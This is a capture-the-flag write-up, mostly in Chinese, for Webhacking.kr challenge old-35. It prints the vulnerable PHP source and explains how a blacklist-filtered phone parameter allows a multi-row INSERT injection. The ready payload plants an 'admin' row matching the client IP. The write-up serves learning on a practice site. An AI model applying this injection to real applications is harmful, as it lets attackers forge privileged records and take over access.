Webhacking.kr old-35

Challenge

Bypass the phone-number insert with SQL injection.

通过 SQL injection 绕过电话号码写入。

1
https://webhacking.kr/challenge/web-17/

Analysis

?view_source=1 给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html><head><title>Challenge 35</title><head><body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px><input name=id type=hidden value=guest><input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->";
?>
<br><a href=?view_source=1>view-source</a></body></html>

phone 直接拼入 VALUES 的第三个字段,外层没有引号。它的过滤规则禁止 * / = select - # ;,但允许单引号、逗号和括号,足以闭合当前元组并追加第二个元组。

GET 参数 id 最多 5 字节,且不能包含 admin(大小写不敏感),因此直接提交 id=admin 会被拒绝。通过 phone 追加的行不经过这项 id 检查。

Solution

保持 id=guest,将 phone 设为 1),('guest2','<REMOTE_ADDR>',1。源码末尾的 ) 补齐第二个元组,拼接后的 SQL 为:

1
insert into chall35(id,ip,phone) values('guest','<REMOTE_ADDR>',1),('guest2','<REMOTE_ADDR>',1)

第二行的 ip 必须与服务端看到的 REMOTE_ADDR 一致。可先将当前请求出口的公网 IP 作为候选值;经过代理或 NAT 时,候选值应取实际出口地址。页面末尾的 HTML 注释仅列出 ip 匹配当前 REMOTE_ADDR 的记录,可以用 guest2 行检查候选值。该探测会写入数据库。

以下为解码后的 query 参数,<candidate-ip> 需替换为候选地址;发送请求时对参数值进行 URL encoding:

1
2
id=guest
phone=1),('guest2','<candidate-ip>',1

历史实测响应中的 HTML 注释为:

1
2
3
4
5
<!--
guest - 1
guest - 1
guest2 - 1
-->

本次插入的 guest2 出现在注释中,说明多值 INSERT 生效,且候选地址与当前请求的 REMOTE_ADDR 匹配。仅返回 Done 只能说明 SQL 执行成功,无法证明地址匹配;若已有同名记录,应换用新的探测标识,避免把旧行当作本次结果。后续请求需保持相同出口地址。

将第二行的 id 改为 admin,并填入已确认的地址:

1
2
id=guest
phone=1),('admin','<REMOTE_ADDR>',1

根据源码,该行会使 select ip from chall35 where id='admin' and ip='<REMOTE_ADDR>' 命中,随后调用 solve(35),再尝试执行 delete from chall35。删除语句没有 WHERE 条件,作用范围是整张表;源码未检查删除是否成功。这里的 admin 只出现在 phone 中,未命中该参数的过滤规则。